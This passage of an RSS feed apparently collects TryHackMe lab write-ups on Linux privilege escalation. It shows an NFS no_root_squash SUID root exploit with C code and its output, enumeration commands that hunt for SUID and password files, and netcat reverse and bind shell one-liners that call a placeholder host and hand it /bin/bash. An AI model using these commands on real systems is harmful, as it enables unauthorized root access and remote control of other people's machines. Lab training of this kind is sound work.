remotely</p><pre>root@10.81.78.3:~# showmount -e 10.81.172.157<br>Export list for 10.81.172.157:<br>/backups          *<br>/mnt/sharedfolder *<br>/tmp              *</pre><p>You can then mount one of the <strong>no_root_squash</strong> shares to your attacking machine and start building your executable.</p><p>Mount share</p><pre>root@10.81.78.3:~# mkdir /tmp/backupsonattackermachine<br>root@10.81.78.3:~# mount -o rw 10.81.172.157:/backups /tmp/backupsonattackermachine<br>root@10.81.78.3:~# cd /tmp/backupsonattackermachine</pre><p>As you can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job.</p><p>C file contents</p><pre>int main() {<br>setgid(0);<br>setuid(0);<br>system(&quot;/bin/bash&quot;);<br>return 0;<br>}</pre><p>Once you compile the code, you can set the SUID bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/20/0*xzt32NP7Qd6C4GEa" /></figure><p><strong>Info:</strong> You should also make sure that the file is owned by root (i.e. root:root).</p><p>Upload exploit remotely</p><pre>root@10.81.78.3:/tmp/backupsonattackermachine# gcc nfs.c -o nfs -w -static<br>root@10.81.78.3:/tmp/backupsonattackermachine# chmod +s nfs<br>root@10.81.78.3:/tmp/backupsonattackermachine# ls -l nfs<br>-rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs</pre><p>You will see below that both files (nfs.c and nfs) are present on the target system. If you are on the mounted share, there is no need to transfer them.</p><p>Then, you can switch back to the target and run your uploaded binary.</p><p>Trigger exploit on target</p><pre>john@nfs-box:~$ id<br>john@nfs-box:~$ whoami<br>john<br>john@nfs-box:/backups$ ls -l<br>total 24<br>-rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs<br>-rw-r--r-- 1 root root    76 Jun 17 16:24 nfs.c<br>john@nfs-box:~$ ./nfs<br>root@nfs-box:~# id<br>uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(alper)<br>root@nfs-box:~# whoami<br>root</pre><p>Notice the nfs executable has the SUID bit set on the target system and runs with root privileges.</p><p>Next, you will have to exploit a similar vulnerability on the target system.</p><h4>Answer the questions below</h4><p>What is the full path of the mountable share?</p><blockquote>/opt/nfs</blockquote><p>What are the contents of /root/flag.txt?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*uIDAeBcUJNEeSRDre_d3uw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*K1RYMKvrVv66aeDlGKcFfA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8567fcaf4e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me:Linux Privilege Escalation: Enumeration Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-linux-privilege-escalation-enumeration-write-up-3f86bee29fd0?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f86bee29fd0</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Thu, 29 Oct 2026 12:49:17 GMT</pubDate>
            <atom:updated>2026-10-29T12:49:17.186Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*828oHCspWP8ljAOynmbPkw.png" /></figure><h3>OS Enumeration</h3><p>This task will focus on various commands and techniques to enumerate operating system properties, like:</p><ul><li>hostname</li><li>uname</li><li>/proc/version</li><li>/etc/issue</li><li>ps</li><li>cron</li><li>dpkg</li></ul><h4>The hostname Command</h4><p>The hostname command will return the hostname of the target machine. Although this value can easily be changed or have a relatively meaningless string (e.g., Ubuntu-3487340239), in some cases, it can provide information about the target system&#39;s role within the corporate network (e.g., SQL-PROD-01 for a production SQL server).</p><h4>The uname Command</h4><p>The command uname -a will print system information, giving you additional details about the kernel used by the system. This is useful when searching for any potential kernel vulnerabilities that could lead to privilege escalation.</p><p>uname -a</p><pre>john@home:~$ uname -a<br>Linux home 6.8.0-41-generic</pre><p>In the example above, the output is as follows:</p><ul><li><strong>Linux</strong>: Operating system</li><li><strong>home</strong>: Hostname</li><li><strong>6.8.0–41-generic</strong>: Kernel version</li></ul><h4>The /proc/version File</h4><p>The proc filesystem (procfs) provides information about the target system processes. You will find proc on many different Linux flavors, making it an essential tool to have in your arsenal. Looking at /proc/version may give you information on the kernel version or what compiler was used to create it.</p><p>cat /proc/version</p><pre>john@home:~$ cat /proc/version<br>Linux version 6.8.0-41-generic (buildd@lcy02-amd64-077) (x86_64-linux-gnu-gcc-13 (Ubuntu 13.2.0-23ubuntu4) 13.2.0, GNU ld (GNU Binutils for Ubuntu) 2.42)</pre><p>In the example above, the output is as follows:</p><ul><li><strong>6.8.0–41-generic</strong>: Kernel version</li><li><strong>buildd@lcy02-amd64–077</strong>: Build machine that compiled the kernel</li><li><strong>x86_64-linux-gnu-gcc-13</strong>: Compiler used to build the kernel</li><li><strong>Ubuntu 13.2.0–23ubuntu4</strong>: Ubuntu package version of the gcc compiler</li><li><strong>GNU ld (GNU Binutils for Ubuntu) 2.42</strong>: Linker used during the kernel build</li></ul><h4>The /etc/issue File</h4><p>Systems can also be identified by looking at the /etc/issue file. This file usually contains some information about the operating system, but can easily be customized or changed. Also, any file containing system information can be customized or changed. For a clearer understanding of the system, it is always good to look at all of these.</p><p>cat /etc/issue</p><pre>john@linux-enumeration:~$ cat /etc/issue<br>Ubuntu 22.04.1 LTS \n \l</pre><p>In the example above, Ubuntu 22.04.1 LTS represents the Ubuntu version running on the host.</p><h4>The ps Command</h4><p>The ps command is an effective way to see the running processes on a Linux system. Running ps in your terminal will show processes for the current shell.</p><p>The output of the ps (Process Status) will show the following;</p><ul><li><strong>PID</strong>: The process ID (unique to the process)</li><li><strong>TTY</strong>: Terminal type used by the user</li><li><strong>Time</strong>: Amount of CPU time used by the process (this is NOT the time this process has been running for)</li><li><strong>CMD</strong>: The command or executable running (will NOT display any command line parameter)</li></ul><p>The ps command provides a few useful options.</p><ul><li>ps aux: The aux option will show processes for all users a, display the user that launched the process u, and show processes that are not attached to a terminal x. Looking at the ps aux command output, you can have a better understanding of the system and potential vulnerabilities.</li><li>ps axjf: The axjf option will show processes from all users a, include processes that have no controlling terminal x, use jobs format output j, and forest/tree view f. An example of such tree can be seen below.</li></ul><p>ps axjf</p><pre>john@linux-enumeration:~$ ps axjf <br>   1  1039  1039  1039 ?           -1 Ss       0   0:00 /usr/sbin/sshd -D<br> 1039  1854  1854  1854 ?           -1 Ss       0   0:00  \_ sshd: karen [priv]  <br> 1854  1890  1854  1854 ?           -1 S     1001   0:00      \_ sshd: karen@pts/0   <br> 1890  1891  1891  1891 pts/0     1975 Ss    1001   0:00          \_ -sh<br> 1891  1975  1975  1891 pts/0     1975 R+    1001   0:00              \_ ps axjf</pre><h4>The cron Service</h4><p>Cron is a time-based job scheduler in Linux that allows users and the system to schedule commands or scripts to run automatically at specified intervals. You’ll often find cron jobs being used for tasks like backups, log rotation, or running maintenance scripts. During enumeration, it’s worth checking for cron jobs since they sometimes run as privileged users. If a cron job is running a script that you can modify, it could become a potential escalation vector.</p><p>You can start by examining /etc/crontab and listing the contents of /var/spool/cron/ or /etc/cron.d/ to see what&#39;s scheduled and, more importantly, who it&#39;s running as. You&#39;ll explore how to actually exploit misconfigured cron jobs later, but for now, it&#39;s important to include them in your enumeration checklist.</p><p>Below is an example of an /etc/crontab entry.</p><p>cat /etc/crontab</p><pre>30 2 * * 1 root /home/ubuntu/clear-mail.sh</pre><p>The output is as follows:</p><ul><li>The first field represents the minute when the script is supposed to be run (valid range: 0–59)</li><li>The second field represents the hour when the script is supposed to be run (valid range: 0–23)</li><li>The third field represents the day of the month when the script is supposed to be run (valid range: 1–31)</li><li>The fourth field represents the month when the script is supposed to be run (valid range: 1–12)</li><li>The fifth field represents the day of the week when the script is supposed to be run(valid range: 0–7, both 0 and 7 represent Sunday)</li><li>The sixth field represents the user who will run the task</li><li>The final field represents the task to be run, which can be any script or binary as long as it’s executable</li></ul><p>Putting this all together, the crontab above runs /home/ubuntu/clear-mail.sh <strong>every Monday</strong> at <strong>2:30 AM</strong> as the <strong>root</strong> user.</p><h4>The dpkg Command</h4><p>The dpkg tool allows us to query all installed packages and their version. This is especially helpful in privilege escalation attempts when trying to find vulnerable binaries with known exploits.</p><p>The command to list all installed software is dpkg -l.</p><h4>Answer the questions below</h4><p>What is the hostname of the target host?</p><blockquote>linux-enumeration</blockquote><p>What is the Linux kernel version of the target host?</p><blockquote>6.8.0–1017-aws</blockquote><p>What version of Ubuntu is running on the host?</p><blockquote>Ubuntu 24.04.1 LTS</blockquote><p>What is the full path of the script run by root every 5 minutes?</p><blockquote>/root/backup.sh</blockquote><p>What is the full version of AppArmor?</p><blockquote>4.0.1really4.0.1–0ubuntu0.24.04.3</blockquote><h3>User Enumeration</h3><p>This task will focus on obtaining information about local users through commands and files, such as:</p><ul><li>id</li><li>env</li><li>history</li><li>sudo -l</li><li>/etc/password</li></ul><h4>The id Command</h4><p>The id command will provide a general overview of the user’s privilege level and group memberships. It is worth remembering that the id command can also be used to obtain the same information for another user, as seen below:</p><p>id</p><pre>john@home:~$ id<br>uid=1001(john) gid=1001(john) groups=1001(john),100(users)<br>john@home:~$ id matt<br>uid=1002(matt) gid=1002(matt) groups=1002(matt),27(sudo),116(admin)</pre><h4>The env Command</h4><p>The env command will show environmental variables.</p><p>env</p><pre>john@home:~$ env<br>MAIL=/var/mail/john<br>USER=john<br>SSH_CLIENT=10.80.88.217 50500 22<br>HOME=/home/john<br>SSH_TTY=/dev/pts/0<br>QT_QPA_PLATFORMTHEME=appmenu-qt5<br>LOGNAME=john<br>TERM=linux</pre><p>The PATH variable may have a compiler or a scripting language (e.g., Python) that could be used to run code on the target system or be leveraged for privilege escalation.</p><h4>The history Command</h4><p>Looking at earlier commands with the history command can give us some idea about the target system and, albeit rarely, store information such as passwords or usernames.</p><h4>The sudo -l Command</h4><p>The target system may be configured to allow users to run some (or all) commands with root privileges. The sudo -l command can be used to list all commands your user can run using sudo. Depending on the configuration, you may be required to input your current user&#39;s password when running the sudo command.</p><h4>The /etc/passwd File</h4><p>Reading the /etc/passwd file can be an easy way to discover users on the system.</p><p>cat /etc/passwd</p><pre>john@home:~$ cat /etc/passwd<br>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin</pre><p>While the output can be long and a bit intimidating, it can easily be cut and converted to a useful list for brute-force attacks.</p><p>cat /etc/passwd | cut -d “:” -f 1</p><pre>john@home:~$ cat /etc/passwd | cut -d &quot;:&quot; -f 1<br>root<br>daemon<br>bin<br>sys<br>sync<br>games<br>man<br>lp<br>mail<br>news<br>uucp<br>proxy<br>www-data<br>backup<br>list<br>irc<br>gnats<br>nobody<br>libuuid</pre><p>Remember that this will return all users, some of whom are system or service users that would not be very useful. Another approach could be to grep for “home” as real users will most likely have their folders under the “home” directory.</p><p>cat /etc/passwd | grep /home</p><pre>john@home:~$ cat /etc/passwd | grep /home<br>matt:x:1000:1000:matt,,,:/home/matt:/bin/bash<br>karen:x:1001:1001::/home/karen:</pre><h4>Answer the questions below</h4><p>Print the environment variables. What is the value of <strong>LANG</strong>?</p><blockquote>C.UTF-8</blockquote><p>What is the flag in your history?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*xrLCO7kB6rGB2x5T95ZgjA.png" /></figure><p>What is the full path of the command you are allowed to run with elevated privileges?</p><blockquote>/usr/bin/nmap</blockquote><p>What is the username of the Mailing List Manager?</p><p>use the command bellow</p><pre> cat /etc/passwd | grep list</pre><blockquote>list</blockquote><h3>Network Enumeration</h3><p>In this task, you will learn about ifconfig and netstat, and leverage them to gain information about network interfaces and listening ports.</p><h4>The ifconfig Command</h4><p>The target system may be a pivoting point to another network. The ifconfig command gives you information about the network interfaces of the system. In the snippet below, for example, you can see that there is a Docker interface, which suggests that Docker is probably running on the host.</p><p>ifconfig</p><pre>john@home:~$ ifconfig<br>docker0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500<br>        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255<br>        inet6 fe80::42:2aff:feef:cb59  prefixlen 64  scopeid 0x20&lt;link&gt;<br>        ether 02:42:2a:ef:cb:59  txqueuelen 0  (Ethernet)<br>        RX packets 0  bytes 0 (0.0 B)<br>        RX errors 0  dropped 0  overruns 0  frame 0<br>        TX packets 38  bytes 5128 (5.1 KB)<br>        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<br>ens5: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 9001<br>        inet 10.80.96.65  netmask 255.255.192.0  broadcast 10.80.127.255<br>        inet6 fe80::89f:a8ff:fed4:b8e9  prefixlen 64  scopeid 0x20&lt;link&gt;<br>        ether 0a:9f:a8:d4:b8:e9  txqueuelen 1000  (Ethernet)<br>        RX packets 14085  bytes 14572272 (14.5 MB)<br>        RX errors 0  dropped 0  overruns 0  frame 0<br>        TX packets 4151  bytes 7292416 (7.2 MB)<br>        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0</pre><p>On modern Linux distributions, this command has been replaced by the ip command. The equivalent of ifconfig is ip addr. ifconfig still exists as part of the net-tools package.</p><h4>The netstat Command</h4><p>Following an initial check for existing interfaces and network routes, it is worth looking into existing communications. The netstat command can be used with several different options to gather information on existing connections.</p><p>netstat -a shows all listening ports and established connections.</p><p>netstat -at or netstat -au can also be used to list TCP or UDP protocols, respectively.</p><p>netstat -l lists ports in “listening” mode. These ports are open and ready to accept incoming connections. This can be used with the -t option to list only ports that are listening using the TCP protocol, as shown below:</p><p>netstat -lt</p><pre>john@home:~$ netstat -lt<br>Active Internet connections (only servers)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State      <br>tcp        0      0 0.0.0.0:ldap            0.0.0.0:*               LISTEN     <br>tcp        0      0 localhost:postgresql    0.0.0.0:*               LISTEN     <br>tcp        0      0 localhost:5433          0.0.0.0:*               LISTEN</pre><p>netstat -s lists network usage statistics by protocol. This can also be used with the -t or -u options to limit the output to a specific protocol.</p><p>netstat -s</p><pre>john@home:~$ netstat -s<br>Ip:<br>    Forwarding: 1<br>    66019 total packets received<br>    5 with invalid addresses<br>    0 forwarded<br>    0 incoming packets discarded<br>    66012 incoming packets delivered<br>    60939 requests sent out<br>    74 outgoing packets dropped<br>Icmp:<br>    156 ICMP messages received<br>    0 input ICMP message failed<br>    ICMP input histogram:<br>        destination unreachable: 156<br>    156 ICMP messages sent<br>    0 ICMP messages failed<br>    ICMP output histogram:<br>        destination unreachable: 156</pre><p>netstat -tp lists connections with the service name and PID information.</p><p>netstat -tp</p><pre>john@home~$ netstat -tp<br>(Not all processes could be identified, non-owned process info<br> will not be shown, you would have to be root to see it all.)<br>Active Internet connections (w/o servers)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    <br>tcp        0      0 10.80.96.65:55010       172.31.66.192:9092      TIME_WAIT   -                   <br>tcp        0      0 localhost:5901          localhost:55988         ESTABLISHED</pre><p>This can also be used with the -l option to list listening ports/services. The -n flag tells netstat to show numeric addresses and port numbers instead of resolving them.</p><p>netstat -tpl</p><pre>john@home~$ netstat -tpln<br>(Not all processes could be identified, non-owned process info<br> will not be shown, you would have to be root to see it all.)<br>Active Internet connections (only servers)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    <br>tcp        0      0 0.0.0.0:389            0.0.0.0:*               LISTEN</pre><p>You can see the “PID/Program name” column is empty, as this process is owned by another user. Below is the same command run with root privileges, which reveals this information as 1144/slapd.</p><p>netstat -tpl</p><pre>john@home~$ netstat -tpln<br>Active Internet connections (only servers)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    <br>tcp        0      0 0.0.0.0:389            0.0.0.0:*               LISTEN      1144/slapd</pre><p>netstat -i shows interface statistics.</p><p>netstat -i</p><pre>john@home~$ netstat -i<br>Kernel Interface table<br>Iface      MTU    RX-OK RX-ERR RX-DRP RX-OVR    TX-OK TX-ERR TX-DRP TX-OVR Flg<br>docker0   1500        0      0      0 0            72      0      0      0 BMRU<br>ens5      9001    75667      0      0 0         54412      0      0      0 BMRU</pre><p>The netstat usage you will probably see most often in blog posts, write-ups, and courses is netstat -ano which could be broken down as follows;</p><ul><li>-a: Display all sockets</li><li>-n: Do not resolve names</li><li>-o: Display timers</li></ul><p>netstat -ano</p><pre>john@home:~$ netstat -ano<br>Active Internet connections (servers and established)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer<br>tcp        0      0 0.0.0.0:389             0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 127.0.0.1:5433          0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:53              0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:5901            0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:6001            0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTE</pre><p>On modern Linux distributions, netstat has been replaced by the ss command. The core is mainly the same, with some subtle differences, like routing information being moved to IP, and some new functionality being added. As an example, ss -tpl is the equivalent of netstat -tpl. netstat still exists as part of the net-tools package.</p><h4>Answer the questions below</h4><p>What is the name of the network interface, other than loopback?</p><blockquote>ens5</blockquote><p>What port, other than 22, is listening on the host?</p><blockquote>53</blockquote><h3>File Enumeration</h3><p>In this task, you will expand your already existing knowledge of ls and find to locate sensitive files on Linux systems.</p><h4>The ls Command</h4><p>One of the common commands used in Linux is probably ls. While looking for potential privilege escalation vectors, remember to always use the ls command with the -la parameter. The example below shows how the “secret.txt” file can easily be missed using the ls or ls -l commands.</p><p>ls</p><pre>john@home:~$ ls<br>john@home:~$ ls -l<br>total 0<br>john@home~$ ls -la<br>total 24<br>drwxrwxrwt  4 root  root  4096 Feb 16 04:36 .<br>drwxr-xr-x 23 root  root  4096 Jun 18  2021 ..<br>drwxrwxrwt  2 root  root  4096 Feb 16 04:25 .ICE-unix<br>-rw-rw-r--  1 karen karen   23 Feb 16 04:36 .secret.txt<br>-r--r--r--  1 root  root    11 Feb 16 04:25 .X0-lock<br>drwxrwxrwt  2 root  root  4096 Feb 16 04:25 .X11-unix<br>john@home:~$ cat .secret.txt<br>This is a secret file.</pre><h4>The find Command</h4><p>Searching the target system for important information and potential privilege escalation vectors can be fruitful. The built-in find command is useful and worth keeping in your arsenal.</p><p>Below are some useful examples for the find command.</p><p><strong>Find files:</strong></p><ul><li>find . -name flag1.txt finds the file named “flag1.txt” in the current directory and subdirectories recursively</li><li>find /home -name flag1.txt finds the file names “flag1.txt” in the /home directory and subdirectories recursively</li><li>find / -type d -name config finds the directory named config under “/”</li><li>find / -type f -perm 0777 finds files with the 777 permissions (files readable, writable, and executable by all users)</li><li>find / -perm -a=x finds executable files</li><li>find /home -user frank finds all files for user “frank” under “/home”</li><li>find / -mtime -10 finds files that were modified in the last 10 days</li><li>find / -atime -10 finds files that were accessed in the last 10 days</li><li>find / -cmin -60 finds files changed within the last hour (60 minutes)</li><li>find / -amin -60 finds files accessed within the last hour (60 minutes)</li><li>find / -size +50M finds files with at least 50 MB size</li></ul><p>This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.</p><p>find / -size +100M</p><pre>john@home:~$ find / -size +100M<br>/john/.ZAP/plugin/ZAP_2.15.0_Linux.tar.gz<br>/john/.gradle/wrapper/dists/gradle-6.8-bin/1jblhjyydfkclfzx1agp92nyl/gradle-6.8-bin.zip</pre><p>The example above returns files that are larger than 100 MB. It is important to note that the find command tends to generate errors, which sometimes makes the output hard to read. To address this, we can use 2&gt;/dev/null, which sends errors to /dev/null, effectively ignoring them.</p><p>Folders and files that can be written to or executed from:</p><ul><li>find / -writable -type d 2&gt;/dev/null finds world-writeable folders.</li><li>find / -perm -222 -type d 2&gt;/dev/null finds world-writeable folders.</li><li>find / -perm -o w -type d 2&gt;/dev/null finds world-writeable folders.</li></ul><p>The reason you see three different find commands that could potentially lead to the same result can be seen in the manual document. As you can see below, the perm parameter affects the way find works.</p><p>-perm usage</p><pre>-perm mode<br>              File&#39;s  permission  bits  are  exactly mode (octal or symbolic).<br>              Since an exact match is required, if you want to use  this  form<br>              for  symbolic  modes,  you  may have to specify a rather complex<br>              mode string.  For example `-perm  g=w&#39;  will  only  match  files<br>              which  have  mode 0020 (that is, ones for which group write per\u2010<br>              mission is the only permission set).  It is more likely that you<br>              will want to use the `/&#39; or `-&#39; forms, for example `-perm -g=w&#39;,<br>              which matches any file with group write permission.  See the EX\u2010<br>              AMPLES section for some illustrative examples.</pre><p>-perm mode File’s permission bits are exactly mode (octal or symbolic). Since an exact match is required, if you want to use this form for symbolic modes, you may have to specify a rather complex mode string. For example `-perm g=w’ will only match files which have mode 0020 (that is, ones for which group write per\u2010 mission is the only permission set). It is more likely that you will want to use the `/’ or `-’ forms, for example `-perm -g=w’, which matches any file with group write permission. See the EX\u2010 AMPLES section for some illustrative examples. -perm -mode All of the permission bits mode are set for the file. Symbolic modes are accepted in this form, and this is usually the way in which you would want to use them. You must specify `u’, `g’ or `o’ if you use a symbolic mode. See the EXAMPLES section for some illustrative examples. -perm /mode Any of the permission bits mode are set for the file. Symbolic modes are accepted in this form. You must specify `u’, `g’ or `o’ if you use a symbolic mode. See the EXAMPLES section for some illustrative examples.</p><ul><li>find / -perm -o x -type d 2&gt;/dev/null finds world-executable folders</li></ul><p>Find development tools and supported languages:</p><ul><li>find / -name perl*</li><li>find / -name python*</li><li>find / -name gcc*</li></ul><p>Wildcards can be used when you don’t know the exact name of a file you are looking for. Say, for example, you want to find a text file containing passwords. You could use the following command.</p><ul><li>find / -name pass*.txt</li></ul><p>The command above will find file names such as pass.txt, password.txt, passwords.txt, etc.</p><p>Below is a short example used to find files that have the SUID bit set. The SUID bit allows the file to run with the privilege level of the account that owns it, rather than the account that runs it.</p><ul><li>find / -perm -u=s -type f 2&gt;/dev/null finds files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.</li></ul><h4>Answer the questions below</h4><p>What are the contents of the secret file in your home folder?</p><p>first use ls -la</p><pre>ls -la</pre><p>now we can see the file</p><pre>cat (way to the file)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*iOQ-AxhPYNQruLglfHTMsQ.png" /></figure><p>Find a file that has TryHackMe in its name. What is its content?</p><pre>find / -iname &quot;*tryhackme*&quot; 2&gt;/dev/null</pre><p>now just use cat with way to the file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*bLqHMl4gdImXdjfGw7nvgA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3f86bee29fd0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Try Hack Me: Shells & Listeners Fundamentals Write Up]]></title>
            <link>https://medium.com/@jozepjoestar/try-hack-me-shells-listeners-fundamentals-write-up-2fac0cd1cf4e?source=rss-1fa5e7ca17bb------2</link>
            <guid isPermaLink="false">https://medium.com/p/2fac0cd1cf4e</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Jozepjoestar]]></dc:creator>
            <pubDate>Mon, 26 Oct 2026 14:26:52 GMT</pubDate>
            <atom:updated>2026-10-26T14:26:52.151Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*3RY-BfPasz-6HXUZexOC_g.png" /></figure><h3>Reverse vs Bind Shells</h3><h4>Understanding the Connection Flow</h4><p>The key difference between reverse and bind shells lies in who initiates the connection:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*04vUSy1TBwQJVrG1.png" /></figure><p>Understanding this fundamental difference matters because it affects which approach will work in different network environments and security configurations.</p><h4>Reverse Shell Example (Linux)</h4><p>In a reverse shell, you start a listener on your attacking machine, then the target connects to you. This is the most common approach because outbound connections are typically less restricted than inbound ones.</p><p>Start a basic listener on your attacking machine:</p><p>Attacker Listener</p><pre>attacker@tryhackme:~$ nc -lvnp 4444<br>Listening on 0.0.0.0 4444</pre><p>Then execute a connection command on the target that calls back to your listener:</p><p>Target Reverse Shell</p><pre>target@victim:~$ nc CONNECTION_IP 4444 -e /bin/bash</pre><p>Your listener receives the connection and provides shell access to the target:</p><p>Reverse Shell Connection</p><pre>Connection received on 10.6.47.58 50983<br>whoami<br>shell-user</pre><h4>Bind Shell Example (Linux)</h4><p>In a bind shell, the target creates a listener attached to a shell, and you connect to it from your attacking machine. This reverses the connection direction but may be blocked by firewalls that restrict inbound access.</p><p>On the target machine, create a listener that offers shell access:</p><p>Target Bind Shell Listener</p><pre>target@victim:~$ nc -lvnp 8080 -e /bin/bash<br>listening on [any] 8080 ...</pre><p>From your attacking machine, connect to the target’s listener:</p><p>Connecting to Bind Shell</p><pre>attacker@tryhackme:~$ nc MACHINE_IP 8080<br>whoami<br>shell-user</pre><h4>Why Direction Matters</h4><p>The choice between reverse and bind shells depends on the network security configuration:</p><p><strong>Reverse shells work best when:</strong></p><ul><li>The target can make outbound connections (most common scenario)</li><li>Firewalls block inbound connections to the target</li><li>The target is behind NAT (Network Address Translation) without port forwarding</li><li>You want to control the listening port on your own machine</li></ul><p><strong>Bind shells work best when:</strong></p><ul><li>Outbound connections from the target are heavily restricted</li><li>You cannot accept inbound connections on your machine</li><li>The target has accessible ports (through firewall rules or port forwarding)</li><li>You need multiple people to access the same shell</li></ul><p>Reverse shells are used far more frequently because most networks allow outbound traffic but restrict inbound access. However, understanding both approaches gives you options when one method is blocked.</p><h4>Answer the questions below</h4><p>Which type of shell connects <em>back</em> to a listening port on your computer, Reverse (R) or Bind (B)?</p><blockquote>R</blockquote><p>When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?</p><blockquote>T</blockquote><p>A target machine sits behind a strict firewall that blocks all inbound connections but allows outbound traffic. Which shell type would work here, Reverse (R) or Bind (B)?</p><blockquote>R</blockquote><h3>Tools for Remote Shells</h3><p>Shell Handling Tools</p><p>After gaining RCE, you need a reliable way to catch and use that shell. These tools complement each other, progressing from simple to sophisticated.</p><p>1. Netcat (nc)<br>The “Swiss Army knife.” A simple TCP pipe that either listens for or connects to a port.</p><ul><li>Pros: Lightweight, fast, ubiquitous on almost every Linux system.</li><li>Cons: No encryption, minimal interactivity (no command history, arrow keys don’t work).</li><li>When to use: For quick connectivity tests, transferring files, or grabbing basic initial access.</li></ul><p>2. Rlwrap<br>A “readline wrapper” for Netcat.</p><ul><li>Why use it: Adds what raw nc lacks — command history, arrow key navigation, and tab completion.</li><li>How it works: Just prefix your command with rlwrap nc ....</li><li>When to use: For any session where you plan to type more than a few commands.</li></ul><p>3. Socat (SOcket CAT)<br>An advanced version of Netcat.</p><ul><li>Pros: Can allocate a PTY (pseudo-terminal), making the shell behave like a real terminal (interactive programs, Ctrl+C, job control work properly). Can encrypt traffic (SSL/TLS) to evade network monitoring.</li><li>Cons: Not always pre-installed on targets (requires transferring a static binary).</li><li>When to use: When you need stability, full interactivity, or stealth from IDS.</li></ul><p>4. Msfvenom + Metasploit multi/handler<br>The industry standard.</p><ul><li>Features: Payload generation for various platforms, support for staged payloads, and Meterpreter (built-in modules for privilege escalation, lateral movement). Automates evasion to bypass AV.</li><li>Cons: Heavyweight, requires more setup time and resources.</li><li>When to use: For complex operations, cross-platform compatibility, or when you need post-exploitation frameworks.</li></ul><p>How to Combine Them (The Progression):</p><p>Netcat — To prove shell access is possible and grab quick initial access.</p><p>Rlwrap — Wrap your nc listener whenever you expect to work in the shell for a while.</p><p>Socat — Upgrade to this for reliable long-term access, interactive programs, or encrypted comms.</p><p>Metasploit — Choose this for advanced post-exploitation and automation.</p><h4>Answer the questions below</h4><p>Which tool can allocate pseudo-terminals (PTYs) for fully interactive shell sessions?</p><blockquote>socat</blockquote><p>Which Metasploit component generates payloads in formats such as executables, scripts, and shellcode?</p><blockquote>Msfvenom</blockquote><h3>Working with Netcat</h3><p>Netcat is the classic tool for creating reverse and bind shells. Netcat reads and writes raw data across network sockets, making it a quick way to transfer files, tunnel traffic, or gain remote command execution. However, Netcat comes in different flavours (OpenBSD, traditional, GNU), and some features, such as the -e flag may be absent for security reasons. We&#39;ll look at the core functionality that works across most versions.</p><h4>Starting a Listener</h4><p>Run netcat in listen mode on your attacking machine to catch a reverse shell. The key options are:</p><ul><li><strong>l:</strong> Listen for an inbound connection (server mode)</li><li><strong>v:</strong> Verbose output (display connection information)</li><li><strong>n:</strong> Skip DNS lookups (numeric IPs only)</li><li><strong>p:</strong> Specify the port to listen on</li></ul><p>Choosing a port above 1024 (such as 4444 or 8080) avoids the need for root privileges. Ports 80, 443 or 53 may be permitted through firewalls, but sudo is required to bind them.</p><p>Netcat Listener</p><pre>attacker@tryhackme:~$ sudo nc -lvnp 4444<br>listening on [any] 4444 ...</pre><p>The listener now waits for a connection from the target. When a reverse shell connects, netcat prints connection details, dropping you into the remote 